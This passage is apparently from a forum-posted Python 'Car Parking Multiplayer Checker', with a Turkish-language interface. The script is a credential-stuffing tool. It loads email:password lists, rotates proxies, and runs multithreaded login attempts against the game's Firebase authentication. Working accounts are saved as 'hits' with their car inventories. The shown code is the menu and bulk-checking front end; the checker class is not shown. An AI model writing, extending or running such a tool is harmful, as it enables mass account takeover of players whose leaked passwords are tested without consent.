  ██║     ██╔══██║██╔══██╗    ██╔═══╝ ██╔══██║██╔══██╗██╔═██╗ ██║██║╚██╗██║██║   ██║
  ╚██████╗██║  ██║██║  ██║    ██║     ██║  ██║██║  ██║██║  ██╗██║██║ ╚████║╚██████╔╝
   ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝    ╚═╝     ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝ ╚═════╝
{Fore.CYAN}
  ╔═══════════════════════════════════════════════════════════════════════════════╗
  ║{Fore.YELLOW}   🚗  Car Parking Multiplayer Checker  🚗                                  {Fore.CYAN}║
  ║{Fore.GREEN}   📌  Version: 1.0.0                                                      {Fore.CYAN}║
  ║{Fore.GREEN}   📌  Firebase Auth + Car Status API                                      {Fore.CYAN}║
  ║{Fore.MAGENTA}   📌  Config By: CanOBX5                                                   {Fore.CYAN}║
  ╚═══════════════════════════════════════════════════════════════════════════════╝{Style.RESET_ALL}
"""
    print(banner)


def print_stats(success: int, fail: int, total: int):
    """İstatistik kutusu yazdır"""
    print(f"\n{Fore.CYAN}  ╔═══════════════════════════════════════╗")
    print(f"{Fore.CYAN}  ║{Fore.YELLOW}         📊  SONUÇLAR  📊              {Fore.CYAN}║")
    print(f"{Fore.CYAN}  ╠═══════════════════════════════════════╣")
    print(f"{Fore.CYAN}  ║{Fore.GREEN}   ✅ Hit      : {success:<20}{Fore.CYAN}║")
    print(f"{Fore.CYAN}  ║{Fore.RED}   ❌ Fail     : {fail:<20}{Fore.CYAN}║")
    print(f"{Fore.CYAN}  ║{Fore.YELLOW}   📊 Toplam   : {total:<20}{Fore.CYAN}║")
    print(f"{Fore.CYAN}  ╚═══════════════════════════════════════╝{Style.RESET_ALL}")


# ═══════════════════════════════════════════════════════════════
#  Tekli Kontrol Modu
# ═══════════════════════════════════════════════════════════════
def single_check_mode():
    print(f"\n{Fore.YELLOW}{'═' * 60}")
    print(f"{Fore.YELLOW}           🔑  TEKLİ HESAP KONTROL MODU")
    print(f"{Fore.YELLOW}{'═' * 60}\n")

    # Email
    while True:
        email = input(f"{Fore.CYAN}  📧 Email: {Style.RESET_ALL}").strip()
        if email:
            break
        print(f"{Fore.RED}  ✗  Email boş olamaz!")

    # Şifre
    while True:
        password = input(f"{Fore.CYAN}  🔒 Şifre: {Style.RESET_ALL}").strip()
        if password:
            break
        print(f"{Fore.RED}  ✗  Şifre boş olamaz!")

    # Proxy
    use_proxy = input(f"{Fore.CYAN}  🌐 Proxy kullanmak ister misiniz? (e/h): {Style.RESET_ALL}").strip().lower()
    proxy = None
    if use_proxy == "e":
        proxy = input(f"{Fore.CYAN}  🌐 Proxy (http://ip:port): {Style.RESET_ALL}").strip()
        if not proxy:
            print(f"{Fore.YELLOW}  ⚠  Proxy girilmedi, proxy'siz devam ediliyor.")
            proxy = None

    # Sonuç dosyası
    save = input(f"{Fore.CYAN}  💾 Sonuçları kaydet? (e/h): {Style.RESET_ALL}").strip().lower()
    result_file = None
    if save == "e":
        result_file = input(f"{Fore.CYAN}  💾 Dosya adı [hits.txt]: {Style.RESET_ALL}").strip()
        if not result_file:
            result_file = "hits.txt"

    print(f"\n{Fore.YELLOW}  ⏳ Kontrol başlatılıyor...\n")

    checker = CarParkingChecker(proxy=proxy)
    result = checker.check_account(email, password, verbose=True)

    # Sonuç kutusu
    print(f"\n{Fore.CYAN}{'═' * 60}")
    print(f"{Fore.CYAN}              📋  KONTROL SONUCU")
    print(f"{Fore.CYAN}{'═' * 60}")

    if result.success:
        print(f"{Fore.GREEN}  ✅ BAŞARILI GİRİŞ")
        print(f"{Fore.GREEN}  📧 Email    : {result.email}")
        print(f"{Fore.GREEN}  🔒 Şifre    : {result.password}")
        print(f"{Fore.GREEN}  🆔 Local ID : {result.local_id or 'N/A'}")
        print(f"{Fore.GREEN}  🚗 Arabalar : {result.cars or 'N/A'}")
        print(f"{Fore.GREEN}  📊 Açık     : {result.car_count}")
    else:
        print(f"{Fore.RED}  ❌ BAŞARISIZ GİRİŞ")
        print(f"{Fore.RED}  📧 Email    : {result.email}")
        print(f"{Fore.RED}  ❗ Hata     : {result.error or 'N/A'}")

    print(f"{Fore.CYAN}{'═' * 60}")
    print(f"{Fore.MAGENTA}  Config By: CanOBX5")

    if result_file:
        if result.success:
            FileManager.save_hit(result, result_file)
        else:
            FileManager.save_fail(result, result_file)
        print(f"{Fore.GREEN}  💾 Sonuç kaydedildi: {result_file}")


# ═══════════════════════════════════════════════════════════════
#  Toplu Kontrol Modu
# ═══════════════════════════════════════════════════════════════
def bulk_check_mode():
    print(f"\n{Fore.YELLOW}{'═' * 60}")
    print(f"{Fore.YELLOW}           📁  TOPLU HESAP KONTROL MODU")
    print(f"{Fore.YELLOW}{'═' * 60}\n")

    # Hesap dosyası
    while True:
        accounts_file = input(f"{Fore.CYAN}  📄 Hesap dosyası yolu [accounts.txt]: {Style.RESET_ALL}").strip()
        if not accounts_file:
            accounts_file = "accounts.txt"
        if os.path.exists(accounts_file):
            break
        print(f"{Fore.RED}  ✗  Dosya bulunamadı: {accounts_file}")
        retry = input(f"{Fore.YELLOW}  Tekrar denemek ister misiniz? (e/h): {Style.RESET_ALL}").strip().lower()
        if retry != "e":
            return

    # Proxy
    use_proxy = input(f"{Fore.CYAN}  🌐 Proxy kullanmak ister misiniz? (e/h): {Style.RESET_ALL}").strip().lower()
    proxies = []
    if use_proxy == "e":
        proxies_file = input(f"{Fore.CYAN}  🌐 Proxy dosyası yolu [proxies.txt]: {Style.RESET_ALL}").strip()
        if not proxies_file:
            proxies_file = "proxies.txt"
        proxies = FileManager.load_proxies(proxies_file)

    # Sonuç dosyaları
    hits_file = input(f"{Fore.CYAN}  💾 Hit dosyası [hits.txt]: {Style.RESET_ALL}").strip()
    if not hits_file:
        hits_file = "hits.txt"

    fails_file = input(f"{Fore.CYAN}  💾 Fail dosyası [fails.txt]: {Style.RESET_ALL}").strip()
    if not fails_file:
        fails_file = "fails.txt"

    # Thread sayısı
    while True:
        try:
            thread_input = input(f"{Fore.CYAN}  ⚡ Thread sayısı (1-10) [3]: {Style.RESET_ALL}").strip()
            if not thread_input:
                thread_count = 3
            else:
                thread_count = int(thread_input)
            if 1 <= thread_count <= 10:
                break
            print(f"{Fore.RED}  ✗  1-10 arası bir değer girin!")
        except ValueError:
            print(f"{Fore.RED}  ✗  Geçerli bir sayı girin!")

    # Gecikme
    while True:
        try:
            delay_input = input(f"{Fore.CYAN}  ⏱  İstekler arası bekleme (saniye) [1]: {Style.RESET_ALL}").strip()
            if not delay_input:
                delay = 1.0
            else:
                delay = float(delay_input)
            if delay >= 0:
                break
            print(f"{Fore.RED}  ✗  0 veya daha büyük bir değer girin!")
        except ValueError:
            print(f"{Fore.RED}  ✗  Geçerli bir sayı girin!")

    # Hesapları yükle
    accounts = FileManager.load_accounts(accounts_file)
    if not accounts:
        print(f"{Fore.RED}  ✗  Kontrol edilecek hesap bulunamadı!")
        return

    print(f"\n{Fore.GREEN}  📋 Toplam {len(accounts)} hesap yüklendi")
    print(f"{Fore.GREEN}  🌐 Toplam {len(proxies)} proxy yüklendi")
    print(f"{Fore.YELLOW}  ⚡ {thread_count} thread ile başlatılıyor...\n")

    time.sleep(1)

    # Sayaçlar (thread-safe)
    lock = Lock()
    stats = {"success": 0, "fail": 0, "processed": 0}

    def process_account(account_data):
        email, password = account_data

        # Proxy seç (round-robin)
        proxy = None
        if proxies:
            proxy = proxies[hash(email) % len(proxies)]

        checker = CarParkingChecker(proxy=proxy)
        result = checker.check_account(email, password, verbose=False)

        # Bekleme
        if delay > 0:
            time.sleep(delay)

        with lock:
            stats["processed"] += 1
            progress = f"[{stats['processed']}/{len(accounts)}]"

            if result.success:
                stats["success"] += 1
                FileManager.save_hit(result, hits_file)
                print(f"{Fore.GREEN}  {progress} ✅ {email} | Arabalar: {result.cars or 'N/A'} | Açık: {result.car_count}")
            else:
                stats["fail"] += 1
                FileManager.save_fail(result, fails_file)
                print(f"{Fore.RED}  {progress} ❌ {email} | {result.error or 'N/A'}")

        return result

    # Thread pool
    with concurrent.futures.ThreadPoolExecutor(max_workers=thread_count) as executor:
        futures = [executor.submit(process_account, acc) for acc in accounts]
        concurrent.futures.wait(futures)

    # Sonuç istatistikleri
    print_stats(stats["success"], stats["fail"], len(accounts))
    print(f"{Fore.GREEN}  💾 Hit sonuçları  : {hits_file}")
    print(f"{Fore.RED}  💾 Fail sonuçları : {fails_file}")
    print(f"{Fore.MAGENTA}  Config By: CanOBX5\n")


# ═══════════════════════════════════════════════════════════════
#  Ana Menü
# ═══════════════════════════════════════════════════════════════
def main_menu():
    while True:
        print_banner()

        print(f"{Fore.CYAN}  ╔═══════════════════════════════════════╗")
        print(f"{Fore.CYAN}  ║{Fore.YELLOW}           🎮  ANA MENÜ  🎮            {Fore.CYAN}║")
        print(f"{Fore.CYAN}  ╠═══════════════════════════════════════╣")
        print(f"{Fore.CYAN}  ║{Fore.GREEN}   [1] 🔑 Tekli Hesap Kontrolü        {Fore.CYAN}║")
        print(f"{Fore.CYAN}  ║{Fore.GREEN}   [2] 📁 Toplu Hesap Kontrolü        {Fore.CYAN}║")
        print(f"{Fore.CYAN}  ║{Fore.RED}   [3] 🚪 Çıkış                        {Fore.CYAN}║")
        print(f"{Fore.CYAN}  ╚═══════════════════════════════════════╝{Style.RESET_ALL}")

        choice = input(f"\n{Fore.CYAN}  Seçiminiz (1-3): {Style.RESET_ALL}").strip()

        if choice == "1":
            single_check_mode()
            input(f"\n{Fore.YELLOW}  Ana menüye dönmek için ENTER'a basın...{Style.RESET_ALL}")
        elif choice == "2":
            bulk_check_mode()
            input(f"\n{Fore.YELLOW}  Ana menüye dönmek için ENTER'a basın...{Style.RESET_ALL}")
        elif choice == "3":
            print(f"\n{Fore.MAGENTA}  👋 Program kapatılıyor...")
            print(f"{Fore.MAGENTA}  Config By: CanOBX5")
            break
        else:
            print(f"{Fore.RED}  ✗  Geçersiz seçim! 1-3 arası bir değer girin.")
            time.sleep(1)


def main():
    try:
        main_menu()
    except KeyboardInterrupt:
        print(f"\n\n{Fore.YELLOW}  ⚠  Program kullanıcı tarafından durduruldu.")
        print(f"{Fore.MAGENTA}  Config By: CanOBX5")
    except Exception as e:
        print(f"\n{Fore.RED}  ✗  Beklenmeyen hata: {str(e)}")
        import traceback
        traceback.print_exc()


if __name__ == "__main__":
    main()
es
 
Geri
En Üst